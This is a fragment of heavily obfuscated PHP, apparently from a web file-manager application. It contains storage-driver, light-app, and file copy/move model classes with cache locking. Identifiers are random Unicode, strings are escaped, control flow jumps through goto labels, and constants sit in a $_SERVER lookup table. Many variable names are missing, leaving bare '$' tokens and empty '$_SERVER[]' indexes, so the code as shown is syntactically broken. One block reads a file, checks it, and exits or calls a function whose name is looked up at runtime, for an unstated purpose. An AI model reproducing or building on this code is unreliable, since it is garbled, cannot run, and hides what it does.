: min($); return intval($̄); } } goto fȋ߇; C: if ($_SERVER[$_SERVER[][846]] != $_SERVER[$_SERVER[][2086]]) { $_getc = $_SERVER[][847]; $_getfile = $_SERVER[$_SERVER[][848]] . $_SERVER[][849]; $_getfilec = $_getc($_getfile); $_getarrs = explode($_SERVER[][262], $_getfilec); if (count($_getarrs) < $_SERVER[][687]) { $exit = $_SERVER[][850]; $exit(); } $_act = $_SERVER[][851]; $_act($_SERVER[$_SERVER[][844]]); } class StorageModel extends ModelBaseLight { public $optionType = "\x53\x79\163\164\145\155\x2e\x73\164\157\162\141\147\145\x4c\151\163\x74"; public $field = array("\x6e\141\x6d\x65", "\x73\151\172\x65\x4d\x61\170", "\x73\x79\x73\x74\145\x6d", "\x64\x65\x66\141\165\x6c\164", "\x64\x72\x69\166\x65\162", "\x63\x6f\156\x66\x69\147"); public function listData($ɤѴ = false, $җ = "\x6d\x6f\x64\x69\146\171\x54\x69\x6d\x65", $ܨ䳡 = false) { $Ђ =& $_SERVER[]; $Ծ = parent::listData($ɤѴ, $җ, $ܨ䳡); if ($ɤѴ) { return $Ծ; } $Γ = array(); if ($GLOBALS[$Ђ[2294]]) { $Γ = $this->ioSizeUseGet(array_to_keyvalue($Ծ, $Ђ[12], $Ђ[475])); } foreach ($Ծ as $ʉ => $ԙ) { unset($Ծ[$ʉ][$Ђ[6]]); $Ծ[$ʉ][$Ђ[1950]] = isset($Γ[$ԙ[$Ђ[475]]]) ? $Γ[$ԙ[$Ђ[475]]] : 0; } return $Ծ; } public function ioSizeUseGet($擏) { $윇 =& $_SERVER[]; if (!$擏) { return array(); } $ = $윇[2295] . implode($윇[50], $擏); $ٱ = Cache::get($); if ($ٱ) { return $ٱ; } $ڍ = array($윇[892] => $윇[475], $윇[2296] => $윇[79]); $Ά = array($윇[892] => array($윇[7], $擏)); $ٱ = Model($윇[864])->field($ڍ)->where($Ά)->group($윇[892])->select(); $ٱ = array_to_keyvalue($ٱ, $윇[475], $윇[79]); Cache::set($, $ٱ, 600); return $ٱ; } public function getConfig($) { $Ӹ = parent::listData($); return json_decode($Ӹ[$_SERVER[][6]], !0); } public function update($홐, $⢐) { $ =& $_SERVER[]; $ = $⢐[$[32]]; $ = array_to_keyvalue(parent::listData(), $[32]); if (isset($[$]) && $[$][$[475]] != $홐) { return !1; } $this->checkPwd($홐, $⢐); if (isset($⢐[$[2297]]) && $⢐[$[2297]] == $[91]) { $this->checkConfig($⢐); } unset($⢐[$[2297]]); $؋ = parent::update($홐, $⢐); if ($؋ && $⢐[$[37]]) { $͕ = 0; foreach ($ as $) { if ($[$[37]] && $[$[475]] != $홐) { $͕ = $[$[475]]; parent::update($[$[475]], array($[37] => 0)); } } $this->updateBackup($홐, $͕); } return $؋; } public function add($و) { $ =& $_SERVER[]; $ʼ = array_to_keyvalue(parent::listData(), $[32]); if (isset($ʼ[$و[$[32]]])) { return !1; } $this->checkConfig($و); $צɸ = parent::insert($و); if ($צɸ && $و[$[37]]) { foreach ($ʼ as $) { if ($[$[37]]) { parent::update($[$[475]], array($[37] => 0)); } } } return $צɸ; } public function updateBackup($ŭ, $Ԉ) { $ =& $_SERVER[]; if (!$Ԉ) { return; } $ = Model($[815])->config(); if ($[$[1733]] != $[91] || $[$[819]] != $Ԉ) { return; } $懆 = Model($[837])->get($[858]); $懆 = json_decode($懆, !0); if (!$懆) { return; } $懆[$[819]] = $ŭ; Model($[837])->set(array($[858] => $懆)); } public function checkPwd($, &$ԓ) { $ =& $_SERVER[]; if (empty($ԓ[$[6]])) { return; } $ = json_decode($ԓ[$[6]], !0); $Ƌߘ = $[12]; $ = array($[2298], $[2299], $[960]); foreach ($ as $ڞ) { if (isset($[$ڞ])) { $Ƌߘ = $ڞ; break; } } if (!$Ƌߘ) { return; } $ɢɛ = $this->getConfig($); $ = $ɢɛ[$Ƌߘ]; $ = $[$Ƌߘ]; if ($ == str_repeat($[220], strlen($))) { $[$Ƌߘ] = $; $ԓ[$[6]] = json_encode($); } else { if ($ != $) { $ԓ[$[2297]] = $[91]; } } } public function checkConfig(&$, $ = false) { $æ =& $_SERVER[]; $㿲 = strtolower($[$æ[98]]); $ = $[$æ[6]]; if (!is_array($)) { $ = json_decode($, !0); } foreach ($ as $׆ => $˴؎) { if (is_string($˴؎)) { $[$׆] = trim($˴؎); } } $[$æ[2300]] = rand_string(6); $۠ = $GLOBALS[$æ[6]][$æ[92]][$æ[900]]; $ = isset($۠[$㿲]) ? $۠[$㿲] : ucfirst($㿲); $ = $æ[77] . $; if (!$ || !class_exists($)) { if ($) { return LNG($æ[2301]); } write_log(array($æ[2302], $, get_caller_info()), $æ[215]); show_json(LNG($æ[2301]), !1, $); } $ę = new $($); if (in_array($㿲, $ę->objectDriver)) { try { if (!$ę->isBucketCors() && !$ę->setBucketCors()) { $Τ = LNG($æ[2303]); $Τ .= $æ[2304] . LNG($æ[2305]); } } catch (Exception $Ļ) { $Τ = $Ļ->getMessage(); } if (isset($Τ)) { return $this->_parseError($Τ, $㿲, $); } if ($㿲 == $æ[68] && !$ę->checkRegion()) { return $this->_parseError(LNG($æ[2306]), $㿲, $); } } $ = rtrim($[$æ[1255]], $æ[8]) . $æ[8]; $Ѻ = $ę->getPath($ . $æ[1259]); try { if ($㿲 == $æ[109]) { $ę->mkdir($); } $ij = $ę->mkfile($Ѻ); if (!$ij) { $Τ = LNG($æ[2303]); } } catch (Exception $Ļ) { $Τ = $Ļ->getMessage(); } if (isset($Τ)) { return $this->_parseError($Τ, $㿲, $); } $[$æ[1255]] = $; $[$æ[6]] = json_encode($); $[$æ[98]] = $; return !0; } private function _parseError($, $, $؏ = false) { $֒ =& $_SERVER[]; if ($ == $֒[68] && stripos($, $֒[2307])) { $ڟ = explode($֒[10], $); $ᮑݛ = isset($ڟ[1]) ? $ڟ[1] : $֒[12]; $ = array($֒[2308] => LNG($֒[2309]), $֒[2310] => LNG($֒[2311])); if (isset($[$ᮑݛ])) { $ = $[$ᮑݛ]; } } if (stripos($, $֒[2312]) === 0) { $ = strpos($, $֒[178]); if ($ === !1) { $ = strpos($, $֒[4]); } if ($ !== !1) { $ = substr($, $ + 1); } } $ = LNG($֒[1262]) . $; if ($؏) { return $; } show_json($, !1); } public function driverListSystem() { $Ğ =& $_SERVER[]; $٬ = parent::listData(); $ = array(); foreach ($٬ as $º) { unset($º[$Ğ[231]], $º[$Ğ[88]]); $º[$Ğ[6]] = json_decode($º[$Ğ[6]], !0); $[] = $º; } return $; } public function defaultDriver() { $ߛӃ =& $_SERVER[]; $ = parent::listData(); $ = array_filter_by_field($, $ߛӃ[37], 1); $ = $[0]; if ($) { $[$ߛӃ[6]] = json_decode($[$ߛӃ[6]], !0); } return $; } public function driverInfo($ޛ) { $ =& $_SERVER[]; $ = array_to_keyvalue(parent::listData(), $[475]); if (!isset($[$ޛ])) { return !1; } $ = $[$ޛ]; $[$[6]] = json_decode($[$[6]], !0); return $; } public function remove($ގ) { $this->removeShareItems($ގ); return parent::remove($ގ); } public function removeWithFile($Á, $, $ߺ, $ = false) { $ =& $_SERVER[]; $ = array($[892] => $Á); $砮 = Model($[544])->where($)->count(); $ڌ = Model($[544])->where($)->sum($[79]); $ = $ . $[2313] . $Á; $ⷝ = LNG($ == $[620] ? $[2314] : $[2315]); $ۣ = new TaskFileTransfer($, $[215], $砮, $ⷝ . $[462] . $ߺ[$[32]] . $[214] . $Á); $ۣ->task[$[830]] = (double) $ڌ; $넼 = KodIO::defaultDriver(); $ʣ = $넼[$[475]]; $ߺ = $ɝ = $ = array(); $ = Model($[230])->where($)->field($[2316])->select(); foreach ($ as $) { $ӧ، = $[$[541]]; if ($) { $ɝ[] = $ӧ،; continue; } $ = $[$[87]]; $̌Ӕ = get_path_father($); $[] = $̌Ӕ; $̌Ӕ = str_replace("\x7b\151\x6f\72{$Á}\x7d\x2f", "\173\x69\157\72{$ʣ}\175\57", $̌Ӕ); if (!IO::exist($)) { $ߺ[] = $ӧ،; $ۣ->updateFileEnd($[$[32]], $[$[79]]); write_log($[2317] . $, $[1893]); continue; } $ = IO::move($, $̌Ӕ, REPEAT_RENAME); if (!$) { $ɝ[] = $ӧ،; $ۣ->updateFileEnd($[$[32]], $[$[79]]); write_log($[2318] . $, $[1893]); continue; } $ = array($[541] => $ӧ،); $ۼá = array($[892] => $ʣ, $[87] => $); Model($[230])->where($)->save($ۼá); } $衦 = $ۣ->task; if (!$) { Cache::set($, $衦); } $ۣ->end(); $ߺ = array_unique($ߺ); $ɝ = array_unique($ɝ); if (!$ && ($ߺ || $ɝ)) { $屯 = array(); if ($ߺ) { $屯[] = sprintf(LNG($[2319]), count($ߺ)); } if ($ɝ) { $屯[] = sprintf(LNG($[2320]), count($ɝ)); } $屯 = sprintf(LNG($[2321]), implode($[2322], $屯)) . $[2323] . date($[2324]) . $[2325]; if ($ == $[1930]) { $屯 .= $[2326] . LNG($[2327]); } $衦[$[1257]] = $屯; Cache::set($, $衦); unset($ߺ[$[6]]); $ɥ̆ = array($[475] => $Á, $[2201] => $[620], $[32] => $ߺ[$[32]], $[1280] => $ߺ); Hook::trigger($[1774], array($[1280] => $ɥ̆, $[1290] => !0)); show_json($屯, !1, 100111); } if ($ == $[620]) { return !0; } if ($ߺ || $ɝ) { $ߦ = array_merge($ߺ, $ɝ); $ߦ = array_filter(array_unique($ߦ)); $this->removeByFileID($ߦ); } if ($) { $ = array_filter(array_unique($)); foreach ($ as $) { $Ա = IO::has($, !0); if (!$Ա[$[239]] && !$Ա[$[240]]) { IO::remove($); } } } return $this->remove($Á); } private function removeByFileID($ֵͥ = array()) { $܅Ԓ =& $_SERVER[]; if (empty($ֵͥ)) { return; } $ = array($܅Ԓ[541] => array($܅Ԓ[7], $ֵͥ)); $ϟ = Model($܅Ԓ[1411])->where($)->field($܅Ԓ[193])->select(); if (!$ϟ) { return Model($܅Ԓ[544])->remove($ֵͥ); } $ϟ = array_to_keyvalue($ϟ, $܅Ԓ[12], $܅Ԓ[193]); foreach ($ϟ as $) { Model($܅Ԓ[899])->removeNow($, !1); } } private function removeShareItems($ڻָ) { $ =& $_SERVER[]; $ = "\x7b\x69\x6f\x3a{$ڻָ}\x7d\x2f"; $ = array($[193] => 0, $[1250] => array($[459], "{$}\45")); $ = Model($[1941])->where($)->field($[665])->select(); if (empty($)) { return; } $Ҕ = array_to_keyvalue($, $[12], $[665]); Model($[664])->remove($Ҕ); } } class SystemLightAppModel extends ModelBaseLight { public $optionType = "\123\171\x73\x74\145\x6d\x2e\114\151\147\x68\x74\101\160\160"; public $modelType = "\x53\171\163\x74\x65\155\x4f\160\164\151\x6f\156"; public $field = array("\x6e\x61\155\x65", "\x67\162\x6f\165\160", "\144\145\163\x63", "\x63\157\156\164\145\156\164"); public function listData($Ժ = false, $ݓ = "\155\157\x64\151\146\x79\124\x69\x6d\x65", $ӆ = true) { return parent::listData($Ժ, $ݓ, $ӆ); } public function remove($) { $ߖ = $this->findByName($); if (!$ߖ) { return !1; } return parent::remove($ߖ[$_SERVER[][475]]); } public function add($) { if ($this->findByName($[$_SERVER[][32]])) { return !1; } return parent::insert($); } public function update($쉻, $ʜ) { $ =& $_SERVER[]; $̏ = $this->findByName($쉻); $ = $this->findByName($ʜ[$[32]]); if (!$̏ || $ && $[$[475]] != $̏[$[475]]) { return !1; } return parent::update($̏[$[475]], $ʜ); } } goto c; Bȥ: class SourceListMoveModel extends SourceListModel { public $allowLockSource = 1; public $moveClearAuth = true; public function allowLock() { return $this->allowLockSource; } public function lockCopyStart($) { $ =& $_SERVER[]; if (!$this->allowLock()) { return; } $this->_lockCheck($[618], $); $쨝 = 1; $this->_lockEvent($, array($[619], $[620]), $쨝); $this->_lockParent($, array($[620]), $쨝); $this->_lockEvent($, array($[621], $[622]), $쨝); $this->_lockCheckEnd($[618], $); } public function lockCopyEnd($ͺ) { $ =& $_SERVER[]; if (!$this->allowLock()) { return; } $ = 0; $this->_lockEvent($ͺ, array($[619], $[620]), $); $this->_lockParent($ͺ, array($[620]), $); $this->_lockEvent($ͺ, array($[621], $[622]), $); } public function lockWriteStart($ྐྵߤ, $衡 = '') { $瓁 =& $_SERVER[]; if (!$this->allowLock()) { return; } $this->_lockCheck($瓁[619], $ྐྵߤ); $ѯ = 1; $this->_lockKey($瓁[623] . $ྐྵߤ . $瓁[10] . $衡, $ѯ); $this->_lockEvent($ྐྵߤ, array($瓁[618], $瓁[620]), $ѯ); $this->_lockParent($ྐྵߤ, array($瓁[618], $瓁[620]), $ѯ); $this->_lockCheckEnd($瓁[619], $ྐྵߤ); } public function lockWriteEnd($Ȩ, $Ù = '') { $ =& $_SERVER[]; if (!$this->allowLock()) { return; } $ = 0; $this->_lockKey($[623] . $Ȩ . $[10] . $Ù, $); $this->_lockEvent($Ȩ, array($[618], $[620]), $); $this->_lockParent($Ȩ, array($[618], $[620]), $); } public function lockMoveStart($) { $Ί =& $_SERVER[]; if (!$this->allowLock()) { return; } $this->_lockCheck($Ί[620], $); $ = 1; $this->_lockKey($Ί[624] . $, $); $this->_lockEvent($, array($Ί[618], $Ί[619]), $); $this->_lockParent($, array($Ί[618], $Ί[620]), $); $this->_lockEvent($, array($Ί[625], $Ί[621], $Ί[622]), $); $this->_lockCheckEnd($Ί[620], $); } public function lockMoveEnd($) { $ځᆚ =& $_SERVER[]; if (!$this->allowLock()) { return; } $ۡɦ = 0; $this->_lockKey($ځᆚ[624] . $, $ۡɦ); $this->_lockEvent($, array($ځᆚ[618], $ځᆚ[619]), $ۡɦ); $this->_lockParent($, array($ځᆚ[618], $ځᆚ[620]), $ۡɦ); $this->_lockEvent($, array($ځᆚ[625], $ځᆚ[621], $ځᆚ[622]), $ۡɦ); } private function _lockCheck($͘, $ځ) { $³ =& $_SERVER[]; $ = $this->sourceInfo($ځ); $ = $͘ . $³[10] . $ځ; $this->_lockTimeStart[$] = timeFloat(); if (!is_array($)) { return; } $͆ = LNG($³[626]); CacheLock::setErrorMsg($³[176] . htmlspecialchars($[$³[32]]) . $³[178] . $͆); $this->_lockKey($, 1); $this->_lockKey($, 0); $ = array_reverse($this->parentLevelArray($[$³[584]])); foreach ($ as $ڈ) { $ = $͘ . $³[627] . $ڈ; if (CacheLock::lockGet($³[628] . $)) { $ = $this->sourceInfo($ڈ); CacheLock::setErrorMsg($³[176] . htmlspecialchars($[$³[32]]) . $³[178] . $͆); $this->_lockKey($, 1); $this->_lockKey($, 0); } } } private function _lockCheckEnd($þ, $ݣ) { $ =& $_SERVER[]; $ = $þ . $[10] . $ݣ; CacheLock::setErrorMsg($[454]); if (!isset($this->_lockTimeStart[$])) { return; } $̨ = timeFloat() - $this->_lockTimeStart[$]; unset($this->_lockTimeStart[$]); if ($̨ > 0.5) { unset(self::$cacheSourceInfo[$[533] . $ݣ]); } $ٖ = $this->sourceInfo($ݣ); if (!$ٖ) { show_json(LNG($[108]), !1); } } private function _lockParent($ٿ, $, $) { if (!$this->autoLockSet) { return; } $ޜ = $this->sourceInfo($ٿ); if (!is_array($ޜ)) { return; } $ = array_reverse($this->parentLevelArray($ޜ[$_SERVER[][584]])); foreach ($ as $) { $this->_lockEvent($, $, $); } } private function _lockEvent($, $؎ۿ, $ׄ) { $ș =& $_SERVER[]; if (!$this->autoLockSet) { return; } foreach ($؎ۿ as $) { $ϖ = $ . $ș[10] . $; if ($ׄ && CacheLock::lockGet($ș[628] . $ϖ)) { continue; } $this->_lockKey($ϖ, $ׄ); } } public $_lockTimeStart = array(); public $_lockTime = 5; private static $_lockItemArr = array(); private function _lockKey($, $ = 1) { $˹ = $_SERVER[][628] . md5($); if ($) { if (isset(self::$_lockItemArr[$˹])) { return; } self::$_lockItemArr[$˹] = 1; CacheLock::lock($˹, $this->_lockTime); } else { if (!isset(self::$_lockItemArr[$˹])) { return; } unset(self::$_lockItemArr[$˹]); CacheLock::unlock($˹); } } public function isParentOf($, $) { $ثť =& $_SERVER[]; $ߵ = $this->sourceInfo($); $ު = $this->sourceInfo($); $ = $ߵ[$ثť[584]] . $ߵ[$ثť[193]] . $ثť[50]; $巌 = $ު[$ثť[584]] . $ު[$ثť[193]] . $ثť[50]; $Ê = strpos($巌, $) === 0; return $Ê; } private $targetIsDelete = 0; public function copy($Ϸ, $㸀, $ = REPEAT_REPLACE, $ۦُݬ = '') { $ =& $_SERVER[]; $ء = $this->sourceInfo($Ϸ); $КÔ = $this->sourceInfo($㸀); if (!$ء || !$КÔ || $КÔ[$[485]] != $[91]) { return !1; } if ($this->isParentOf($Ϸ, $㸀)) { return !1; } $ݻ = $ۦُݬ ? $ۦُݬ : $ء[$[32]]; $this->lockCopyStart($Ϸ); $this->lockWriteStart($㸀, $ݻ); $ޖ = array($[629] => array(), $[630] => array(), $[631] => array()); $this->targetIsDelete = intval($ء[$[505]]); $ = $this->fileNameExistAuto($㸀, $ء); $ = $this->_copy($Ϸ, $㸀, $, $ޖ, !0, $ۦُݬ); $this->_childrenListClear(); $this->lockCopyEnd($Ϸ); $this->lockWriteEnd($㸀, $ݻ); if ($ء[$[485]] == $[91] && $ == $) { $this->folderSizeResetChildren($); } Model($[632])->addAll($ޖ[$[630]], array(), !0); if ($ != $ || $ء[$[485]] == $[91]) { Model($[633])->eventCopy($); } $this->saveAll($ޖ[$[631]]); Model($[230])->linkAdd($ޖ[$[629]]); $this->folderSizeReset($㸀); $this->updateModifyTime($㸀); return $; } private function _copy($ף, $Ϳޕ, $, &$, $լ, $ؓ = '') { $덢 =& $_SERVER[]; $ = $this->sourceInfoCache($ף); $Ò = $[$덢[485]] == $덢[91]; $ϫ = $ؓ ? $ؓ : $[$덢[32]]; $ᆧŔ = $this->fileNameExistAuto($Ϳޕ, $); if ($լ) { $this->_childrenAllMake($ף); if ($Ò && $ᆧŔ) { $this->_childrenAllMake($ᆧŔ); } } if (!$ᆧŔ) { return $this->_copyCreate($ף, $Ϳޕ, $ϫ, $); } $ǔ = $ᆧŔ; if ($Ò) { if ($ == REPEAT_RENAME_FOLDER) { $ϫ = $this->fileNameAutoCache($Ϳޕ, $ϫ, $, $Ò); $ǔ = $this->_copyCreate($ף, $Ϳޕ, $ϫ, $); } else { $ = $this->_childrenList($ף); foreach ($ as $ɗ) { $this->_copy($ɗ[$덢[193]], $ᆧŔ, $, $, !1); } } } else { if ($ == REPEAT_RENAME || $ == REPEAT_RENAME_FOLDER) { $ϫ = $this->fileNameAutoCache($Ϳޕ, $ϫ, $, $Ò); $ǔ = $this->_copyCreate($ף, $Ϳޕ, $ϫ, $); } else { if ($ == REPEAT_REPLACE) { $ = $this->sourceInfoCache($ᆧŔ); $ = $this->fileHistory($, $[$덢[541]], $[$덢[79]]); if ($) { $[$덢[629]][] = $[$덢[541]]; } } else { if ($ == REPEAT_SKIP) { } } } Hook::trigger($덢[634], array($덢[635], $, 0)); } return $ǔ; } private function _copyCreate($؏, $Ƽ, $֏, &$) { $瓉 =& $_SERVER[]; $ = $this->sourceInfoCache($؏); $˜ = $this->sourceInfoCache($Ƽ); $ = $this->_makeItemData($, $˜, $֏); Hook::trigger($瓉[636], $); Hook::trigger($瓉[637], array($瓉[638], $, 0)); $ = $this->add($); $Ȗ = array($瓉[193] => $, $瓉[32] => $֏); $this->_copyApplyMeta($Ȗ, $); if ($[$瓉[485]] != $瓉[91]) { $[$瓉[629]][] = $[$瓉[541]]; return $; } $ = array(); $͛ = array(); $this->_childrenListAll($؏, $); $ = count($); if ($ == 0) { return $; } $贶 = $this->sourceInfo($); foreach ($ as $) { $檺 = $this->_makeItemData($, $贶, $[$瓉[32]]); $檺[$瓉[584]] = $[$瓉[584]]; $͛[] = $檺; } $this->chunkEventSet($瓉[639], array($瓉[640], $, $)); $this->addAll($͛, array(), !1); $ߕ̍ = $this->where(array($瓉[192] => $))->select(); $ْ = $this->_childrenMakeRelation($, $ߕ̍); $ْ[$؏] = $; $ = array(); $ = array(); foreach ($ߕ̍ as $) { $ = $[$瓉[193]]; $ = $this->_childrenMatch($ْ, $, $贶); $[] = array($瓉[193], $, $瓉[192], $[$瓉[192]]); $[] = array($瓉[193], $, $瓉[584], $[$瓉[584]]); $this->_copyApplyMeta($, $); if ($[$瓉[485]] != $瓉[91]) { $[$瓉[629]][] = $[$瓉[541]]; } } $this->chunkEventSet($瓉[641], array($瓉[642], $, $)); $this->saveAll($); $this->chunkEventSet($瓉[643], array($瓉[644], $, $)); $this->saveAll($); return $; } private function _childrenMakeRelation($؋˫, $) { $ =& $_SERVER[]; $ = array(); $ = array(); foreach ($؋˫ as $) { $ = $[$[32]] . $[8] . $[$[584]]; $[$] = $[$[193]]; } foreach ($ as $) { $ = $[$[32]] . $[8] . $[$[584]]; $ט = $[$]; $[$ט] = $[$[193]]; } return $; } private function _childrenMatch($, $㶘, $ݷ) { $𒆢 =& $_SERVER[]; $ = $ݷ[$𒆢[584]]; $ʨ = $this->parentLevelArray($㶘[$𒆢[584]]); foreach ($ʨ as $į) { if (isset($[$į])) { $ .= $[$į] . $𒆢[645]; } } $ = rtrim($, $𒆢[50]) . $𒆢[50]; $ = $this->parentLevelArray($); $ = $[count($) - 1]; return array($𒆢[192] => $, $𒆢[584] => $); } private function _makeItemData($ߜ芔, $٣, $̭) { $庅 =& $_SERVER[]; $ƭ = array($庅[646] => $ߜ芔[$庅[485]], $庅[494] => $̭, $庅[647] => $ߜ芔[$庅[486]] ? $ߜ芔[$庅[486]] : $庅[12], $庅[542] => $ߜ芔[$庅[541]] ? $ߜ芔[$庅[541]] : 0, $庅[617] => $ߜ芔[$庅[79]] ? $ߜ芔[$庅[79]] : 0, $庅[648] => intval($٣[$庅[190]]), $庅[649] => intval($٣[$庅[569]]), $庅[650] => intval(USER_ID), $庅[651] => intval(USER_ID), $庅[477] => intval($٣[$庅[193]]), $庅[652] => $٣[$庅[584]] . $٣[$庅[193]] . $庅[50], $庅[498] => $ߜ芔[$庅[88]] ? $ߜ芔[$庅[88]] : time(), $庅[504] => 0, $庅[653] => $庅[12]); return $ƭ; } private function _copyApplyMeta($ӕ, &$) { $ˏ =& $_SERVER[]; $趎 = $ӕ[$ˏ[193]]; $Ͽ = $ӕ[$ˏ[32]]; if (!isset($ӕ[$ˏ[654]]) || !$ӕ[$ˏ[654]] || $ӕ[$ˏ[654]] == $ˏ[228]) { $[$ˏ[631]][] = array($ˏ[193], $趎, $ˏ[654], short_id($趎)); } if (Input::check($Ͽ, $ˏ[655])) { $[$ˏ[630]][] = array($ˏ[193] => $趎, $ˏ[97] => $ˏ[538], $ˏ[450] => str_replace($ˏ[53], $ˏ[12], Pinyin::get($Ͽ))); $[$ˏ[630]][] = array($ˏ[193] => $趎, $ˏ[97] => $ˏ[537], $ˏ[450] => Pinyin::get($Ͽ, $ˏ[656])); } $[$ˏ[630]][] = array($ˏ[193] => $趎, $ˏ[97] => $ˏ[517], $ˏ[450] => KodSort::makeStr($Ͽ)); } private $_childrenListCache = array(); private $_childrenItemCache = array(); private function _childrenAllMake($ൎ) { $¸ =& $_SERVER[]; $ݺ = $this->sourceInfo($ൎ); $ = $¸[657]; $ۀɱ = array($¸[584] => array($¸[612], $ݺ[$¸[584]] . $ൎ . $¸[613]), $¸[505] => $this->targetIsDelete); $ܜݔ = $this->field($)->where($ۀɱ)->select(); if (!$ܜݔ) { return; } $ܜݔ = array_to_keyvalue($ܜݔ, $¸[193]); foreach ($ܜݔ as $È) { $ͳ = $È[$¸[192]]; $ൎ = $È[$¸[193]]; if (!isset($this->_childrenListCache[$ൎ]) && $È[$¸[485]] == $¸[91]) { $this->_childrenListCache[$ൎ] = array(); } if (!isset($this->_childrenListCache[$ͳ])) { $this->_childrenListCache[$ͳ] = array(); } $this->_childrenListCache[$ͳ][$ൎ] = $È; $this->_childrenItemCache[$ൎ] = $È; } } private function _childrenListAll($̧, &$Ɋ) { $윢 =& $_SERVER[]; if (!isset($this->_childrenListCache[$̧])) { return; } $淋 = $this->_childrenListCache[$̧]; foreach ($淋 as $ԕ => $) { $Ɋ[$ԕ] = $; if ($[$윢[485]] == $윢[91]) { $this->_childrenListAll($ԕ, $Ɋ); } } } private function sourceInfoCache($Ƈ) { if (isset($this->_childrenItemCache[$Ƈ])) { return $this->_childrenItemCache[$Ƈ]; } return $this->sourceInfo($Ƈ); } private function _childrenList($þ) { if (isset($this->_childrenListCache[$þ])) { return $this->_childrenListCache[$þ]; } return $this->_childrenListSelect($þ); } private function _childrenListSelect($) { $ =& $_SERVER[]; $ = array($[192] => $, $[505] => $this->targetIsDelete); $ = $this->where($)->select(); $ = $ ? $ : array(); $胘 = array_to_keyvalue($, $[193]); $this->_childrenListCache[$] = $胘; foreach ($胘 as $ => $Б) { $this->_childrenItemCache[$] = $Б; } return $胘; } private function fileNameExistAuto($ɾ, $ڸ) { $ۄ =& $_SERVER[]; if ($ڸ[$ۄ[505]] == $ۄ[91]) { return $this->fileNameExist($ɾ, $ڸ[$ۄ[32]]); } return $this->fileNameExistCache($ɾ, $ڸ[$ۄ[32]]); } private function fileNameExistCache($, $) { $ =& $_SERVER[]; $ = strtolower($); $ = $this->_childrenList($); foreach ($ as $د) { if ($ == strtolower($د[$[32]])) { return $د[$[193]]; } } return !1; } private function fileNameAutoCache($Ӌ, $и, $֘, $) { $⺉ =& $_SERVER[]; $ = $this->_childrenList($Ӌ); $ = array_to_keyvalue($, $⺉[12], $⺉[32]); return $this->fileNameAutoGet($, $и, $֘, $); } private function _childrenListClear() { $this->_childrenListCache = null; $this->_childrenItemCache = null; $this->_childrenListCache = array(); $this->_childrenItemCache = array(); } public function move($ڊޗ, $Ɛܫ, $ = REPEAT_REPLACE, $ = '') { $ٚ =& $_SERVER[]; $ = $this->sourceInfo($ڊޗ); $ր = $this->sourceInfo($Ɛܫ); if ($[$ٚ[192]] == $ր[$ٚ[193]]) { if ($[$ٚ[505]] == $ٚ[91]) { Model($ٚ[503])->restore(array($ڊޗ)); } if (!$ || $ == $[$ٚ[32]]) { return $ڊޗ; } } $̼ = $this->pathInfoMore($ڊޗ); if ($this->isParentOf($ڊޗ, $Ɛܫ)) { return !1; } if (!$ || !$ր || $ր[$ٚ[485]] != $ٚ[91]) { return !1; } Hook::trigger($ٚ[658], $̼); $this->targetIsDelete = intval($[$ٚ[505]]); if ($[$ٚ[192]] == $Ɛܫ && $ != $[$ٚ[32]]) { $҂ = $this->fileNameExist($Ɛܫ, $); if ($҂ && $[$ٚ[485]] == $ٚ[228]) { $Ր = $this->sourceInfo($҂); $ƀ = $this->fileHistory($Ր, $[$ٚ[541]], $[$ٚ[79]]); if (!$ƀ) { Model($ٚ[544])->remove($[$ٚ[541]]); } $this->removeNow($ڊޗ, !1); $this->folderSizeReset($Ɛܫ); Hook::trigger($ٚ[659], $̼); return $҂; } } $՚Ў = $ ? $ : $[$ٚ[32]]; $this->lockMoveStart($ڊޗ); $this->lockWriteStart($Ɛܫ, $՚Ў); $ = array($ٚ[629] => array(), $ٚ[660] => !1); $this->clearShare($ڊޗ, $Ɛܫ); $ = $this->fileNameExistAuto($Ɛܫ, $); $ϝ = $this->_move($ڊޗ, $Ɛܫ, $, $, $); $this->sourceCacheClear(); if ($[$ٚ[485]] == $ٚ[91] && $) { $this->folderSizeResetChildren($ϝ); } Model($ٚ[230])->linkAdd($[$ٚ[629]]); if ($ && $[$ٚ[660]]) { $this->removeNow($ڊޗ, !1); } $this->lockMoveEnd($ڊޗ); $this->lockWriteEnd($Ɛܫ, $՚Ў); $this->folderSizeReset($[$ٚ[192]]); $this->folderSizeReset($Ɛܫ); $ = array($[$ٚ[192]], $Ɛܫ); if ($[$ٚ[485]] == $ٚ[91]) { $[] = $ڊޗ; } $this->updateModifyTime($); Model($ٚ[633])->eventMove($ڊޗ, $[$ٚ[192]], $Ɛܫ); Hook::trigger($ٚ[659], $̼); return $ϝ; } private function _move($, $, $ϑ, &$Ƴۋ, $ = '') { $Ĵ =& $_SERVER[]; $̟ = $this->sourceInfo($); $ϐ = $̟[$Ĵ[485]] == $Ĵ[91]; $ꥹ = $ ? $ : $̟[$Ĵ[32]]; $ = $this->fileNameExistAuto($, $̟); $this->lockMoveStart($); $this->lockWriteStart($, $ꥹ); if (!$) { return $this->_moveForce($, $, $ꥹ); } $㔴۲ = $; $ِ㯌 = !1; if ($ϐ) { if ($ϑ == REPEAT_RENAME_FOLDER) { $ꥹ = $this->fileNameAuto($, $ꥹ, $ϑ, $ϐ); $㔴۲ = $this->_moveForce($, $, $ꥹ); } else { if ($ϑ == REPEAT_RENAME_FOLDER) { $ϑ = REPEAT_RENAME; } $ = $this->_childrenListSelect($); foreach ($ as $ٰ) { $this->_move($ٰ[$Ĵ[193]], $, $ϑ, $Ƴۋ); } $ِ㯌 = !0; } } else { if ($ϑ == REPEAT_SKIP) { $ِ㯌 = !0; } else { if ($ϑ == REPEAT_RENAME || $ϑ == REPEAT_RENAME_FOLDER) { $ꥹ = $this->fileNameAuto($, $ꥹ, $ϑ, $ϐ); $㔴۲ = $this->_moveForce($, $, $ꥹ); } else { if ($ϑ == REPEAT_REPLACE) { $ = $this->sourceInfoCache($); $̦ = $this->fileHistory($, $̟[$Ĵ[541]], $̟[$Ĵ[79]]); $ِ㯌 = !0; if ($̦) { $Ƴۋ[$Ĵ[629]][] = $̟[$Ĵ[541]]; } } } } } if ($ِ㯌 && !$Ƴۋ[$Ĵ[660]]) { $Ƴۋ[$Ĵ[660]] = !0; } return $㔴۲; } private function _moveForce($έ, $, $) { $â =& $_SERVER[]; $ = $this->sourceInfo($έ); $껿 = $this->sourceInfo($); $ = $[$â[485]] == $â[91]; $ҹ = array($â[477] => $껿[$â[193]], $â[652] => $껿[$â[584]] . $껿[$â[193]] . $â[50], $â[648] => $껿[$â[190]], $â[649] => $껿[$â[569]], $â[651] => USER_ID, $â[494] => $); 